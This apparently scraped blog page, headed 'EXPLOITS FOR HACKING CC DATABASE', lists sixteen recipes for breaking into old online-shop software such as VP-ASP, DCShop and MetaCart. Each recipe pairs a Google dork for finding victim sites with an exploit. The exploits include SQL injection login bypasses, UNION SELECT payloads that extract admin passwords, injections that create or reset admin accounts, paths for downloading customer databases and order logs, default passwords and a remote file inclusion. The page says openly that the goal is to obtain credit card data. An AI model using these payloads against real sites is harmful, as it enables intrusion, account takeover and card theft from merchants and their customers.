Brain Interactive

<div dir="ltr" style="text-align: left;" trbidi="on">
1: google dork :--> inurl:"/cart.php?m=" target looks lile :--> <a href="http://xxxxxxx.com/s...cart.php?m=view" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://xxxxxxx.com/s...cart.php?m=view</a> exploit: chage cart.php?m=view to /admin target whit exploit :--> <a href="http://xxxxxx.com/store/admin" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://xxxxxx.com/store/admin</a> Usename : 'or"=" Password : 'or"=" 2- google dork :--> allinurlroddetail.asp?prod= target looks like :--> <a href="http://www.xxxxx.org/proddetail.asp?prod=XXXX" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxx.org/proddetail.asp?prod=XXXX</a> (big leters and numbers ) exploit :--> chage the proddtail.asp?prod=SG369 whit fpdb/vsproducts.mdb target whit exploit :--> <a href="http://www.xxxxxx.org/fpdb/vsproducts.mdb" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxxx.org/fpdb/vsproducts.mdb</a> 3- google dork :--> allinurl: /cgi-local/shopper.cgi target looks like :--> <a href="http://www.xxxxxx.co/" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxxx.co</a>....dd=action&key= exploit :--> ...&template=order.log target whit exploit :--> <a href="http://www.xxxxxxxx/" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxxxxx</a>.....late=order.log 4- google dork :--> allinurl: Lobby.asp target looks like :--> <a href="http://www.xxxxx.com/mall/lobby.asp" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxx.com/mall/lobby.asp</a> exploit :--> change /mall/lobby.asp to /fpdb/shop.mdb target whit exploit :--> <a href="http://www.xxxxx.com/fpdb/shop.mdb" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxx.com/fpdb/shop.mdb</a> 5- google dork :--> allinurl:/vpasp/shopsearch.asp when u find a target put this in search box Keyword=&category=5); insert into tbluser (fldusername) values ('')--&SubCategory=&hide=&action.x=46&action.y=6 Keyword=&category=5); update tbluser set fldpassword='' where fldusername=''--&SubCategory=All&action.x=33&action.y=6 Keyword=&category=3); update tbluser set fldaccess='1' where fldusername=''--&SubCategory=All&action.x=33&action.y=6 Jangan lupa untuk mengganti dan nya terserah kamu. Untuk mengganti password admin, masukkan keyword berikut : Keyword=&category=5); update tbluser set fldpassword='' where fldusername='admin'--&SubCategory=All&action.x=33&action.y=6 login page: http://xxxxxxx/vpasp/shopadmin.asp 6- google dork :--> allinurl:/vpasp/shopdisplayproducts.asp target looks like :--> <a href="http://xxxxxxx.com/v....asp?cat=xxxxxx" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://xxxxxxx.com/v....asp?cat=xxxxxx</a> exploit :--> <a href="http://xxxxxxx.com/vpasp/shopdisplay...20union%20sele" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://xxxxxxx.com/vpasp/shopdisplay...20union%20sele</a> ct%20fldauto,fldpassword%20from%20tbluser%20where% 20fldusername='admin'%20and%20fldpassword%20like%2 0'a%25'- if this is not working try this ends %20'a%25'-- %20'b%25'-- %20'c%25'-- after finding user and pass go to login page: <a href="http://xxxx.com/vpasp/shopadmin.asp" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://xxxx.com/vpasp/shopadmin.asp</a> 7- google dork :--> allinurl:/shopadmin.asp target looks like :--> <a href="http://www.xxxxxx.com/shopadmin.asp" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxxx.com/shopadmin.asp</a> exploit: user : 'or'1 pass : 'or'1 8- google.com :--> allinurl:/store/index.cgi/page= target looks like :--> <a href="http://www.xxxxxx.co/" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxxx.co</a>....short_blue.htm exploit :--> ../admin/files/order.log target whit exploit :--> <a href="http://www.xxxxxxx.c/" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxxxx.c</a>....iles/order.log 9- google.com:--> allinurl:/metacart/ target looks like :--> <a href="http://www.xxxxxx.com/metacart/about.asp" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxxx.com/metacart/about.asp</a> exploit :--> /database/metacart.mdb target whit exploit :--> <a href="http://www.xxxxxx.com/metacart/database/metacart.mdb" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxxx.com/metacart/database/metacart.mdb</a> 10- google.com:--> allinurl:/DCShop/ target looks like :--> <a href="http://www.xxxxxx.com/xxxx/DCShop/xxxx" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxxx.com/xxxx/DCShop/xxxx</a> exploit :--> /DCShop/orders/orders.txt or /DCShop/Orders/orders.txt target whit exploit :--> <a href="http://www.xxxx.com/xxxx/DCShop/orders/orders.txt" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxx.com/xxxx/DCShop/orders/orders.txt</a> or <a href="http://www.xxxx.com/xxxx/DCShop/Orders/orders.txt" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxx.com/xxxx/DCShop/Orders/orders.txt</a> 11- google.com:--> allinurl:/shop/category.asp/catid= target looks like :--> <a href="http://www.xxxxx.com/shop/category.asp/catid=xxxxxx" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxx.com/shop/category.asp/catid=xxxxxx</a> exploit :--> /admin/dbsetup.asp target whit exploit :--> <a href="http://www.xxxxxx.com/admin/dbsetup.asp" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxxx.com/admin/dbsetup.asp</a> after geting that page look for dbname and path. (this is also good file sdatapdshoppro.mdb , access.mdb) target for dl the data base :--> <a href="http://www.xxxxxx.com/data/pdshoppro.mdb" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxxx.com/data/pdshoppro.mdb</a> (dosent need to be like this) in db look for access to find pass and user of shop admins. 12- google.com:--> allinurl:/commercesql/ target looks like :--> <a href="http://www.xxxxx.com/commercesql/xxxxx" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxx.com/commercesql/xxxxx</a> exploit :--> cgi-bin/commercesql/index.cgi?page= target whit exploit admin config :--> <a href="http://www.xxxxxx.co/" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxxx.co</a>..../admin_conf.pl target whit exploit admin manager :--> <a href="http://www.xxxxxx.co/" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxxx.co</a>....in/manager.cgi target whit exploit order.log :--> <a href="http://www.xxxxx.com/" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxx.com</a>....iles/order.log 13- google.com:--> allinurl:/eshop/ target looks like :--> <a href="http://www.xxxxx.com/xxxxx/eshop" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxx.com/xxxxx/eshop</a> exploit :-->/cg-bin/eshop/database/order.mdb target whit exploit :--> <a href="http://www.xxxxxx.co/" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://www.xxxxxx.co</a>....base/order.mdb after dl the db look at access for user and password 14- 1/search google: allinurl:"shopdisplayproducts.asp?id= --->http://victim.com/shopdisplayproducts.asp?id=5 2/find error by adding ' --->http://victim.com/shopdisplayproducts.asp?id=5' --->error: Microsoft JET database engine error "80040e14"...../shop$db.asp, line467 -If you don't see error then change id to cat --->http://victim.com/shopdisplayproducts.asp?cat=5' 3/if this shop has error then add this: %20union%20select%201%20from%20tbluser"having%201= 1--sp_password --->http://victim.com/shopdisplayproduct...on%20select%20 1%20from%20tbluser"having%201=1--sp_password --->error: 5' union select 1 from tbluser "having 1=1--sp_password.... The number of column in the two selected tables or queries of a union queries do not match...... 4/ add 2,3,4,5,6.......until you see a nice table add 2 ---->http://victim.com/shopdisplayproduct...on%20select%20 1,2%20from%20tbluser"having%201=1--sp_password then 3 ---->http://victim.com/shopdisplayproduct...on%20select%20 1,2,3%20from%20tbluser"having%201=1--sp_password then 4 ---->http://victim.com/shopdisplayproduct...on%20select%20 1,2,3,4%20from%20tbluser"having%201=1--sp_password ...5,6,7,8,9.... untill you see a table. (exp:...47) ---->http://victim.com/shopdisplayproduct...on%20select%20 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7,38,39,40,41,42,,43,44,45,46,47%20from%20tbluser" having%201=1--sp_password ---->see a table. 5/When you see a table, change 4 to fldusername and 22 to fldpassword you will have the admin username and password --->http://victim.com/shopdisplayproduct...on%20%20elect% 201,2,3,fldusername,5,6,7,8,9,10,11,12,13,14,15,16 ,17,18,19,20,21,fldpassword,23,24,25,26,27,28,29,3 0,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46, 47%20from%20tbluser%22having%201=1--sp_password 6/Find link admin to login: try this first: <a href="http://victim.com/shopadmin.asp" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://victim.com/shopadmin.asp</a> or: <a href="http://victim.com/shopadmin.asp" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://victim.com/shopadmin.asp</a> Didn't work? then u have to find yourself: add: (for the above example) '%20union%20select%201,2,3,fieldvalue,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22, 23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 ,40,41,42,43,44,45,46,47%20from%20configuration"ha ving%201=1--sp_password --->http://victim.com/shopdisplayproduct...n%20select%201 ,2,3,fieldvalue,5,6,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22, 23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 ,40,41,42,43,44,45,46,47%20from%20configuration"ha ving%201=1--sp_password you'll see something like: ( lot of them) shopaddmoretocart.asp shopcheckout.asp shopdisplaycategories.asp .............. then guess admin link by adding the above data untill you find admin links 15- Type: VP-ASP Shopping Cart Version: 5.00 Dork = intitle:VP-ASP Shopping Cart 5.00 You will find many websites with VP-ASP 5.00 cart software installed Now let's get to the exploit.. the page will be like this ****://***.victim.com/shop/shopdisplaycategories.asp The exploit is : diag_dbtest.asp so do this: ****://***.victim.com/shop/diag_dbtest.asp A page will appear with something like: xDatabase shopping140 xDblocation resx xdatabasetypexEmailxEmailNamexEmailSubjectxEmailSy stemxEmailTypexOrdernumber.:. EXAMPLE .:. the most important thing here is xDatabase xDatabase: shopping140 ok now the URL will be like this: ****://***.victim.com/shop/shopping140.mdb if you didn't download the Database.. Try this while there is dblocation. xDblocation resx the url will be: ****://***.victim.com/shop/resx/shopping140.mdb If u see the error message you have to try this : ****://***.victim.com/shop/shopping500.mdb download the mdb file and you should be able to open it with any mdb file viewer, you should be able to find one at download.com inside you should be able to find credit card information. and you should even be able to find the admin username and password for the website. the admin login page is usually located here ****://***.victim.com/shop/shopadmin.asp if you cannot find the admin username and password in the mdb file or you can but it is incorrect, or you cannot find the mdb file at all then try to find the admin login page and enter the default passwords which are Username: admin password: admin OR Username: vpasp password: vpasp 16- Sphider Version 1.2.x (include_dir) remote file inclusion # Sphider Version 1.2.x (include_dir) remote file inclusion # script Vendor: <a href="http://cs.ioc.ee/~ando/sphider/" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://cs.ioc.ee/~ando/sphider/</a> # Discovered by: IbnuSina found on index.php $include_dir = "./include"; <--- no patch here $language_dir = "./languages"; include "$include_dir/index_header.inc"; include "$include_dir/conf.php"; include "$include_dir/connect.php"; exploitz : <a href="http://targe.lu/" style="-webkit-background-clip: padding-box; color: #308cff; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;" target="_blank">http://targe.lu/</a>[sphiderpath]/index.php?include_dir=injekan.lu</div>

EXPLOITS FOR HACKING CC DATABASE

1: google dork :--> inurl:"/cart.php?m=" target looks lile :--> http://xxxxxxx.com/s...cart.php?m=view exploit: chage cart...